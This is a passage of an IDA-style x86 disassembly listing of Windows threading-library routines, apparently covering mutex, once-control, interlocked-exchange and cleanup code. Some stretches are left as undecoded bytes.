loc_432088:				; CODE XREF: sub_431EF0+Aj
					; sub_431EF0+14j
		pop	esi
		mov	eax, 16h
		pop	ebp
		retn
sub_431EF0	endp

; ---------------------------------------------------------------------------
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432100	proc near		; CODE XREF: sub_431EF0+BFp

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 0Ch
		push	esi
		push	edi
		mov	edi, [esp+14h+arg_0]
		test	edi, edi
		jz	loc_43219E
		mov	esi, [esp+14h+arg_4]
		test	esi, esi
		jnz	short loc_432132
		or	eax, 0FFFFFFFFh


loc_43211C:				; CODE XREF: sub_432100+7Fj
		push	eax
		mov	eax, [edi]
		mov	ecx, [eax]
		push	ecx
		call	near ptr 2780469h
		nop
		test	eax, eax
		jnz	short loc_43218C
		pop	edi
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_432132:				; CODE XREF: sub_432100+17j
		lea	eax, [esp+14h+var_C]
		push	eax
		call	near ptr 77C49113h
		nop
		mov	ecx, [esi+4]
		mov	eax, 431BDE83h
		add	ecx, 7A120h
		add	esp, 4
		mul	ecx
		mov	eax, [esi]
		mov	ecx, [esp+14h+var_C]
		shr	edx, 12h
		lea	eax, [eax+eax*4]
		lea	ecx, [ecx+ecx*4]
		lea	eax, [eax+eax*4]
		lea	ecx, [ecx+ecx*4]
		lea	eax, [eax+eax*4]
		lea	ecx, [ecx+ecx*4]
		shl	ecx, 3
		lea	eax, [edx+eax*8]
		mov	edx, [esp+14h+var_8]
		sub	eax, ecx
		and	edx, 0FFFFh
		sub	eax, edx
		jns	short loc_43211C
		pop	edi
		mov	eax, 2
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_43218C:				; CODE XREF: sub_432100+2Aj
		cmp	eax, 102h
		jnz	short loc_43219E
		pop	edi
		mov	eax, 1
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_43219E:				; CODE XREF: sub_432100+Bj
					; sub_432100+91j
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 16h
		pop	edi
		or	eax, 0FFFFFFFFh
		pop	esi
		add	esp, 0Ch
		retn
sub_432100	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4321F0	proc near		; CODE XREF: sub_4010C3j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	ebx
		xor	ebx, ebx
		push	esi
		cmp	eax, ebx
		jz	loc_432290
		mov	esi, [eax]
		cmp	esi, ebx
		jz	loc_432290
		cmp	esi, 0FFFFFFFFh
		push	edi
		jz	short loc_432285
		mov	eax, [esi+0Ch]
		mov	edi, 1
		cmp	eax, edi
		jz	short loc_43223A
		call	sub_4012E4
; ---------------------------------------------------------------------------
		push	eax
		mov	eax, [esi+0Ch]
		push	eax
		call	sub_401A64
		add	esp, 8
		test	eax, eax
		jnz	short loc_43223A
		mov	ebx, edi
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43223A:				; CODE XREF: sub_4321F0+2Aj
					; sub_4321F0+40j
		cmp	[esi+8], edi
		jnz	short loc_432248
		mov	eax, [esi+4]
		dec	eax
		mov	[esi+4], eax
		jnz	short loc_43228A


loc_432248:				; CODE XREF: sub_4321F0+4Dj
		lea	edi, [esi+14h]
		mov	[esi+0Ch], ebx
		push	edi
		nop
		call	near ptr 7C901005h
		push	esi
		nop
		call	near ptr 278076Dh
		test	eax, eax
		jl	short loc_432278
		add	esi, 10h
		push	esi
		call	sub_40103C
		add	esp, 4
		test	eax, eax
		jz	short loc_432278
		call	near ptr 77C1F2BCh
		nop
		mov	ebx, [eax]


loc_432278:				; CODE XREF: sub_4321F0+6Ej
					; sub_4321F0+7Ej
		push	edi
		nop
		call	near ptr 7C9010EDh
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_432285:				; CODE XREF: sub_4321F0+1Ej
		mov	ebx, 16h


loc_43228A:				; CODE XREF: sub_4321F0+56j
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_432290:				; CODE XREF: sub_4321F0+Aj
					; sub_4321F0+14j
		pop	esi
		mov	eax, 16h
		pop	ebx
		retn
sub_4321F0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4322D0	proc near		; CODE XREF: sub_401785j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		xor	edi, edi
		test	esi, esi
		jz	short loc_432355
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_432355
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4322F2
		push	esi
		call	sub_401C17
		add	esp, 4
		mov	edi, eax


loc_4322F2:				; CODE XREF: sub_4322D0+15j
		mov	esi, [esi]
		test	edi, edi
		jnz	short loc_432350
		push	0FFFFFFFFh
		push	edi
		push	esi
		call	dword_5103C8	; InterlockedCompareExchange
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_432323
		mov	ecx, [esi+8]
		mov	eax, 1
		test	ecx, ecx
		mov	[esi+4], eax
		jz	short loc_43231B
		call	sub_4012E4
; ---------------------------------------------------------------------------


loc_43231B:				; CODE XREF: sub_4322D0+44j
		mov	[esi+0Ch], eax
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432323:				; CODE XREF: sub_4322D0+35j
		cmp	dword ptr [esi+8], 1
		jnz	short loc_43234B
		call	sub_4012E4
; ---------------------------------------------------------------------------
		push	eax
		mov	eax, [esi+0Ch]
		push	eax
		call	sub_401A64
		add	esp, 8
		test	eax, eax
		jz	short loc_43234B
		mov	eax, [esi+4]
		inc	eax
		mov	[esi+4], eax
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_43234B:				; CODE XREF: sub_4322D0+57j
					; sub_4322D0+6Dj
		mov	edi, 10h


loc_432350:				; CODE XREF: sub_4322D0+26j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432355:				; CODE XREF: sub_4322D0+Aj
					; sub_4322D0+10j
		pop	edi
		mov	eax, 16h
		pop	esi
		retn
sub_4322D0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432390:				; CODE XREF: ___:0040193Dj
		mov	eax, [esp+8]
		mov	ecx, [esp+4]
		push	eax
		push	ecx
		call	sub_40119A
		add	esp, 8
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4323C0:				; CODE XREF: ___:00401591j
		mov	eax, [esp+8]
		mov	ecx, [esp+4]
		push	eax
		push	ecx
		call	sub_4018CF
		add	esp, 8
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4323F0:				; CODE XREF: ___:00401497j
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_4323FC
		mov	eax, [eax+4]
		retn
; ---------------------------------------------------------------------------


loc_4323FC:				; CODE XREF: ___:004323F6j
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432410:				; CODE XREF: ___:00401C12j
		mov	eax, [esp+4]
		push	esi
		test	eax, eax
		push	edi
		jnz	short loc_432422
		pop	edi
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432422:				; CODE XREF: ___:00432418j
		mov	esi, [eax]
		test	esi, esi
		jnz	short loc_432445
		mov	ecx, [eax+4]
		test	ecx, ecx
		jnz	short loc_432445
		call	sub_401D02
; ---------------------------------------------------------------------------
		dd 2EE89056h, 0E80241DFh, 0FFFCF8C2h, 5EC0335Fh
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------


loc_432445:				; CODE XREF: ___:00432426j
					; ___:0043242Dj
		mov	ecx, [eax+4]
		mov	eax, 431BDE83h
		add	ecx, 0F423Fh
		imul	ecx
		sar	edx, 12h
		mov	eax, edx
		shr	eax, 1Fh
		add	edx, eax
		lea	eax, [esi+esi*4]
		lea	eax, [eax+eax*4]
		lea	ecx, [eax+eax*4]
		lea	edi, [edx+ecx*8]
		call	sub_4012E4
; ---------------------------------------------------------------------------
		mov	esi, eax
		test	esi, esi
		jnz	short loc_43247E
		pop	edi
		mov	eax, 0Ch
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_43247E:				; CODE XREF: ___:00432474j
		mov	eax, [esi+30h]
		push	edi
		test	eax, eax
		jnz	short loc_4324E6
		mov	edx, [esi+38h]
		push	edx
		nop
		call	near ptr 2780469h
		test	eax, eax
		jnz	short loc_4324D7
		lea	edi, [esi+2Ch]
		push	edi
		call	sub_402248
		mov	eax, [esi+0Ch]
		add	esp, 4
		cmp	eax, 3
		jge	short loc_4324C6
		push	edi
		mov	dword ptr [esi+0Ch], 3
		mov	dword ptr [esi+30h], 1
		call	sub_4010C3
		push	2
		call	sub_401DED
; ---------------------------------------------------------------------------
		add	esp, 8


loc_4324C6:				; CODE XREF: ___:004324A6j
		push	edi
		call	sub_4010C3
		add	esp, 4
		mov	eax, 3
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4324D7:				; CODE XREF: ___:00432492j
		cmp	eax, 102h
		jz	short loc_4324EC
		pop	edi
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4324E6:				; CODE XREF: ___:00432484j
		nop
		call	near ptr 2850369h


loc_4324EC:				; CODE XREF: ___:004324DCj
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432540:				; CODE XREF: ___:00401014j
		push	ecx
		lea	eax, [esp+0]
		push	eax
		call	sub_401C3A
		add	esp, 4
		test	eax, eax
		mov	eax, 1
		jnz	short loc_43255B
		mov	eax, [esp+0]


loc_43255B:				; CODE XREF: ___:00432555j
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432570	proc near		; CODE XREF: sub_401712j
		push	esi
		call	sub_401320
		push	offset aKernel32_dll ; "KERNEL32.DLL"
		mov	esi, eax
		nop
		call	near ptr 27F088Ah
		push	offset aInterlockedcom ; "InterlockedCompareExchange"
		push	eax
		mov	dword_5103AC, eax
		nop
		call	near ptr 28C04C7h
		test	eax, eax
		mov	dword_5103C8, eax
		jnz	short loc_4325BD
		mov	eax, dword_5103AC
		mov	dword_5103C8, offset sub_4012D0
		push	eax
		nop
		call	near ptr 2760715h
		mov	dword_5103AC, 0


loc_4325BD:				; CODE XREF: sub_432570+2Bj
		mov	eax, esi
		pop	esi
		retn
sub_432570	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4325F0	proc near		; CODE XREF: sub_401627j
		mov	eax, dword_5103B0
		test	eax, eax
		jz	short loc_432640
		mov	eax, dword_5103B4
		push	eax
		call	sub_401190
; ---------------------------------------------------------------------------
		dd 8504C483h, 832074C0h, 75012078h, 0A0E8501Ah,	8BFFFCF1h
		dd 5103B40Dh, 4C48300h,	6A118Bh, 0B2E89052h, 0E80232DDh
		dd 0FFFCF015h, 5103ACA1h, 74C08500h, 0D6E85007h, 900232E0h
; ---------------------------------------------------------------------------


loc_432640:				; CODE XREF: sub_4325F0+7j
		mov	eax, 1
		retn
sub_4325F0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432670	proc near		; CODE XREF: sub_4017BCj
		mov	eax, 1
		retn
sub_432670	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432690	proc near		; CODE XREF: sub_4017CBj
		mov	eax, dword_5103B0
		test	eax, eax
		jz	short loc_4326CB
		mov	eax, dword_5103B4
		push	eax
		call	sub_401190
; ---------------------------------------------------------------------------
		dd 8504C483h, 832074C0h, 75012078h, 0E8501Ah, 8BFFFCF1h
		dd 5103B40Dh, 4C48300h,	6A118Bh, 12E89052h
		db 0DDh, 32h, 2
; ---------------------------------------------------------------------------


loc_4326CB:				; CODE XREF: sub_432690+7j
		mov	eax, 1
		retn
sub_432690	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432700:				; CODE XREF: ___:0040225Cj
		push	ecx
		push	esi
		push	offset dword_510980
		xor	esi, esi
		nop
		call	near ptr 7C901005h
		mov	eax, dword_5103BC
		test	eax, eax
		mov	[esp+4], eax
		jz	short loc_43273E


loc_43271C:				; CODE XREF: ___:0043273Cj
		test	esi, esi
		jnz	short loc_43273E
		lea	eax, [esp+4]
		push	eax
		call	sub_40160E
		mov	ecx, [esp+8]
		mov	esi, eax
		add	esp, 4
		mov	eax, [ecx+18h]
		test	eax, eax
		mov	[esp+4], eax
		jnz	short loc_43271C


loc_43273E:				; CODE XREF: ___:0043271Aj
					; ___:0043271Ej
		push	offset dword_510980
		call	near ptr 7C9010EDh
		nop
		mov	eax, esi
		pop	esi
		neg	eax
		sbb	eax, eax
		and	eax, 0Bh
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432780	proc near		; CODE XREF: sub_4012B7j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jz	short loc_432799
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_432799
		cmp	dword ptr [eax], 0C4C0FFEEh
		jnz	short loc_432799
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_432799:				; CODE XREF: sub_432780+6j
					; sub_432780+Cj ...
		mov	eax, 1
		retn
sub_432780	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4327B0	proc near		; CODE XREF: sub_401320j
		mov	eax, dword_5103B0
		test	eax, eax
		jz	short loc_4327BF
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------


loc_4327BF:				; CODE XREF: sub_4327B0+7j
		push	0
		push	offset dword_5103B4
		mov	dword_5103B0, 1
		call	sub_401609
		add	esp, 8
		test	eax, eax
		jnz	short loc_4327EE
		push	eax
		push	offset dword_5103B8
		call	sub_401609
		add	esp, 8
		test	eax, eax
		jz	short loc_4327F3


loc_4327EE:				; CODE XREF: sub_4327B0+2Aj
		call	sub_401645


loc_4327F3:				; CODE XREF: sub_4327B0+3Cj
		push	esi
		mov	esi, dword_511868
		push	offset dword_5108C0
		call	esi
		push	offset dword_510920
		call	esi
		push	offset dword_510980
		call	esi
		push	offset dword_510900
		call	esi
		push	offset dword_510960
		call	esi
		push	offset dword_510940
		call	esi
		mov	eax, dword_5103B0
		pop	esi
		retn
sub_4327B0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432850	proc near		; CODE XREF: sub_401645j
		mov	eax, dword_5103B0
		test	eax, eax
		jz	locret_432909
		mov	eax, dword_5103B4
		test	eax, eax
		jz	short loc_432879
		push	eax
		call	sub_401AB4
		add	esp, 4
		mov	dword_5103B4, 0


loc_432879:				; CODE XREF: sub_432850+14j
		mov	eax, dword_5103B8
		test	eax, eax
		jz	short loc_432895
		push	eax
		call	sub_401AB4
		add	esp, 4
		mov	dword_5103B8, 0


loc_432895:				; CODE XREF: sub_432850+30j
		push	esi
		push	offset dword_5108C0
		call	near ptr 7C901005h
		nop
		mov	eax, dword_447700
		cmp	eax, 1
		jz	short loc_4328C3
		push	edi
		mov	edi, dword_511AD0


loc_4328B2:				; CODE XREF: sub_432850+70j
		mov	esi, [eax+8]
		push	eax
		call	edi	; free
		add	esp, 4
		cmp	esi, 1
		mov	eax, esi
		jnz	short loc_4328B2
		pop	edi


loc_4328C3:				; CODE XREF: sub_432850+59j
		push	offset dword_5108C0
		nop
		call	near ptr 7C9010EDh
		mov	esi, dword_511864
		push	offset dword_510940
		call	esi
		push	offset dword_510960
		call	esi
		push	offset dword_510900
		call	esi
		push	offset dword_510980
		call	esi
		push	offset dword_510920
		call	esi
		push	offset dword_5108C0
		call	esi
		mov	dword_5103B0, 0
		pop	esi

locret_432909:				; CODE XREF: sub_432850+7j
		retn
sub_432850	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432940:				; CODE XREF: ___:loc_401BA9j
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	eax
		mov	esi, [eax]
		mov	ecx, [eax+4]
		mov	edx, [eax+8]
		mov	[ebp-4], esi
		mov	[ebp-0Ch], ecx
		mov	[ebp-8], edx
		call	near ptr 77C2C21Bh
		nop
		mov	eax, dword_5103B4
		push	esi
		push	eax
		call	sub_4020F9
; ---------------------------------------------------------------------------
		mov	dword ptr [esi+0Ch], 1
		add	esi, 3Ch
		push	0
		push	esi
		call	sub_437D4C
; ---------------------------------------------------------------------------
		mov	edi, [ebp-4]
		add	esp, 14h
		test	eax, eax
		jnz	short loc_43299C
		mov	ecx, [ebp-8]
		push	ecx
		call	dword ptr [ebp-0Ch]
		add	esp, 4
		mov	[edi+14h], eax
		mov	esi, eax
		jmp	short loc_4329A8
; ---------------------------------------------------------------------------


loc_43299C:				; CODE XREF: ___:00432989j
		dec	eax
		jz	short loc_4329A5
		dec	eax
		or	esi, 0FFFFFFFFh
		jmp	short loc_4329A8
; ---------------------------------------------------------------------------


loc_4329A5:				; CODE XREF: ___:0043299Dj
		mov	esi, [edi+14h]


loc_4329A8:				; CODE XREF: ___:0043299Aj
					; ___:004329A3j
		cmp	dword ptr [edi+20h], 1
		jnz	short loc_4329C7
		call	sub_4017CB
		push	esi
		call	near ptr 77C3A307h
		nop
		add	esp, 4
		mov	eax, esi
		pop	edi
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------


loc_4329C7:				; CODE XREF: ___:004329ACj
		push	edi
		call	sub_40131B
		add	esp, 4
		push	esi
		nop
		call	near ptr 77C3A307h
		add	esp, 4
		mov	eax, esi
		pop	edi
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432A20	proc near		; CODE XREF: sub_4017B7j

var_84		= byte ptr -84h
var_80		= dword	ptr -80h
var_58		= byte ptr -58h
var_4C		= dword	ptr -4Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  4

		sub	esp, 84h
		push	ebx
		mov	ebx, [esp+88h+arg_0]
		test	ebx, ebx
		push	esi
		jz	short loc_432A9A
		lea	esi, [ebx+2Ch]
		push	edi
		push	esi
		call	sub_402248
		push	esi
		mov	dword ptr [ebx+0Ch], 5
		call	sub_4010C3
		push	ebx
		call	sub_40131B
		mov	ecx, 21h
		mov	esi, ebx
		lea	edi, [esp+9Ch+var_84]
		push	ebx
		rep movsd
		call	sub_401BD1
		mov	eax, [esp+0A0h+var_4C]
		mov	esi, dword_5118E0
		add	esp, 10h
		test	eax, eax
		pop	edi
		jz	short loc_432A78
		push	eax
		call	esi


loc_432A78:				; CODE XREF: sub_432A20+53j
		lea	eax, [esp+8Ch+var_58]
		push	eax
		call	sub_402252
		mov	eax, [esp+90h+var_80]
		add	esp, 4
		test	eax, eax
		jz	short loc_432A9A
		test	[esp+8Ch+var_8], 1
		jnz	short loc_432A9A
		push	eax
		call	esi


loc_432A9A:				; CODE XREF: sub_432A20+11j
					; sub_432A20+6Bj ...
		pop	esi
		pop	ebx
		add	esp, 84h
		retn
sub_432A20	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432AE0	proc near		; CODE XREF: sub_401DDEj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	ebp
		push	esi
		push	edi
		push	14h
		push	1
		nop
		call	near ptr 77C2C0C3h
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jnz	short loc_432B01
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 0Ch
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_432B01:				; CODE XREF: sub_432AE0+15j
		mov	edi, [esp+10h+arg_8]
		mov	ebp, [esp+10h+arg_4]
		mov	dword ptr [esi], 0FFFFFFFFh
		mov	[esi+4], ebp
		lea	ebx, [edi+8]
		mov	[esi+8], edi
		push	ebx
		call	sub_402248
		add	esp, 4
		mov	[esp+10h+arg_4], eax
		test	eax, eax
		jz	short loc_432B42
		push	esi
		call	sub_402252
		push	esi
		nop
		call	near ptr 77C2C21Bh
		mov	eax, [esp+18h+arg_4]
		add	esp, 8
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_432B42:				; CODE XREF: sub_432AE0+47j
		mov	eax, [edi+0Ch]
		push	ebx
		mov	[esi+10h], eax
		mov	[edi+0Ch], esi
		call	sub_4010C3
		add	esp, 4
		test	ebp, ebp
		jz	short loc_432B67
		mov	ecx, [ebp+80h]
		mov	[esi+0Ch], ecx
		mov	[ebp+80h], esi


loc_432B67:				; CODE XREF: sub_432AE0+76j
		mov	edx, [esp+10h+arg_0]
		pop	edi
		xor	eax, eax
		mov	[edx], esi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_432AE0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432BB0	proc near		; CODE XREF: sub_40105Fj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_432BD7
		mov	eax, [esi+8]
		test	eax, eax
		jnz	short loc_432BD7
		mov	eax, [esi+4]
		test	eax, eax
		jnz	short loc_432BD7
		push	esi
		call	sub_402252
		push	esi
		call	near ptr 77C2C21Bh
		nop
		add	esp, 8


loc_432BD7:				; CODE XREF: sub_432BB0+7j
					; sub_432BB0+Ej ...
		pop	esi
		retn
sub_432BB0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432BF0	proc near		; CODE XREF: sub_40131Bj

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		test	ebx, ebx
		push	esi
		jz	short loc_432C5D
		mov	esi, [ebx+80h]
		test	esi, esi
		jz	short loc_432C5D
		push	edi


loc_432C05:				; CODE XREF: sub_432BF0+6Aj
		push	esi
		call	sub_402248
		add	esp, 4
		test	eax, eax
		jnz	short loc_432C58
		mov	edi, [esi+8]
		test	edi, edi
		jz	short loc_432C33
		push	edi
		call	sub_401190
; ---------------------------------------------------------------------------
		add	esp, 4
		test	eax, eax
		jz	short loc_432C33
		mov	edi, [edi+4]
		test	edi, edi
		jz	short loc_432C33
		push	eax


loc_432C2E:				; CODE XREF: ___:00432CA7j
		call	edi	; free
		add	esp, 4


loc_432C33:				; CODE XREF: sub_432BF0+27j
					; sub_432BF0+34j ...
		mov	eax, [esi+0Ch]
		mov	dword ptr [esi+4], 0
		push	esi
		mov	[ebx+80h], eax
		call	sub_4010C3
		push	esi
		call	sub_40105F
		mov	esi, [ebx+80h]
		add	esp, 8


loc_432C58:				; CODE XREF: sub_432BF0+20j
		test	esi, esi
		jnz	short loc_432C05
		pop	edi


loc_432C5D:				; CODE XREF: sub_432BF0+8j
					; sub_432BF0+12j
		pop	esi
		pop	ebx
		retn
sub_432BF0	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_432C80	proc near		; CODE XREF: sub_401DEDj
		mov	eax, dword_5103B4
		push	ebx
		push	edi
		push	eax
		call	sub_401190
sub_432C80	endp

; ---------------------------------------------------------------------------
		db 8Bh,	5Ch, 24h
; ---------------------------------------------------------------------------
		adc	[ebx-47CFB3Ch],	al
		add	cl, [ebx-7CF28B08h]
		sti
		add	[eax+ecx+6Ah], esi
		add	[eax-7F8E2918h], edx
		ja	short loc_432C2E
		push	dword ptr [esi+eax-0Ah]
		inc	edi
		jl	short near ptr loc_432CB0+1


loc_432CB0:				; CODE XREF: ___:00432CAEj
		jz	short loc_432CD5
		push	esi
		mov	eax, ebx
		xor	esi, esi
		dec	eax
		jz	short loc_432CC2
		dec	eax
		jnz	short loc_432CC5
		or	esi, 0FFFFFFFFh
		jmp	short loc_432CC5
; ---------------------------------------------------------------------------


loc_432CC2:				; CODE XREF: ___:00432CB8j
		mov	esi, [edi+14h]


loc_432CC5:				; CODE XREF: ___:00432CBBj
					; ___:00432CC0j
		call	sub_4017CB
		push	esi
		call	near ptr 77C3A307h
		nop
		add	esp, 4
		pop	esi


loc_432CD5:				; CODE XREF: ___:loc_432CB0j
		push	1
		call	sub_401B22
; ---------------------------------------------------------------------------
		dd 8304C483h, 57533CC7h, 408AE890h, 90907780h, 90909090h
		dd 8 dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_432D10	proc near		; CODE XREF: sub_401B22j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	esi
		call	sub_401122
sub_432D10	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		test	eax, eax
		jz	short loc_432D2F


loc_432D22:				; CODE XREF: ___:00432D2Dj
		push	esi
		call	sub_401122
; ---------------------------------------------------------------------------
		add	esp, 4
		test	eax, eax
		jnz	short loc_432D22


loc_432D2F:				; CODE XREF: ___:00432D20j
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432D50:				; CODE XREF: ___:00401DF7j
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_432D70	proc near		; CODE XREF: sub_4012D0j

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	edx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+arg_8]
		lock cmpxchg [ecx], edx
		mov	[ebp+var_4], eax
		pop	edx
		pop	ecx
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	0Ch
sub_432D70	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432DB0	proc near		; CODE XREF: sub_401C3Aj

var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4

		sub	esp, 8
		lea	eax, [esp+8+var_4]
		lea	ecx, [esp+8+var_8]
		push	esi
		push	eax
		push	ecx
		xor	esi, esi
		nop
		call	near ptr 27A01BFh
		push	eax
		call	near ptr 2760000h
		nop
		test	eax, eax
		jz	short loc_432DF2
		mov	edx, [esp+0Ch+var_8]
		xor	ecx, ecx
		mov	eax, 1


loc_432DDC:				; CODE XREF: sub_432DB0+33j
		test	eax, edx
		jz	short loc_432DE1
		inc	ecx


loc_432DE1:				; CODE XREF: sub_432DB0+2Ej
		shl	eax, 1
		jnz	short loc_432DDC
		mov	edx, [esp+0Ch+arg_0]
		mov	eax, esi
		pop	esi
		mov	[edx], ecx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_432DF2:				; CODE XREF: sub_432DB0+1Fj
		mov	eax, 0Bh
		pop	esi
		add	esp, 8
		retn
sub_432DB0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432E20	proc near		; CODE XREF: sub_40185Cj

arg_0		= dword	ptr  4

		push	esi
		push	offset dword_510960
		xor	esi, esi
		nop
		call	near ptr 7C901005h
		mov	ecx, [esp+4+arg_0]
		mov	eax, [ecx]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_432E54
		push	esi
		push	ecx
		call	sub_401F91
		add	esp, 8
		mov	esi, eax
		push	offset dword_510960
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432E54:				; CODE XREF: sub_432E20+17j
		test	eax, eax
		jnz	short loc_432E5D
		mov	esi, 16h


loc_432E5D:				; CODE XREF: sub_432E20+36j
		push	offset dword_510960
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		retn
sub_432E20	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432E90	proc near		; CODE XREF: sub_401861j

arg_0		= dword	ptr  4

		push	esi
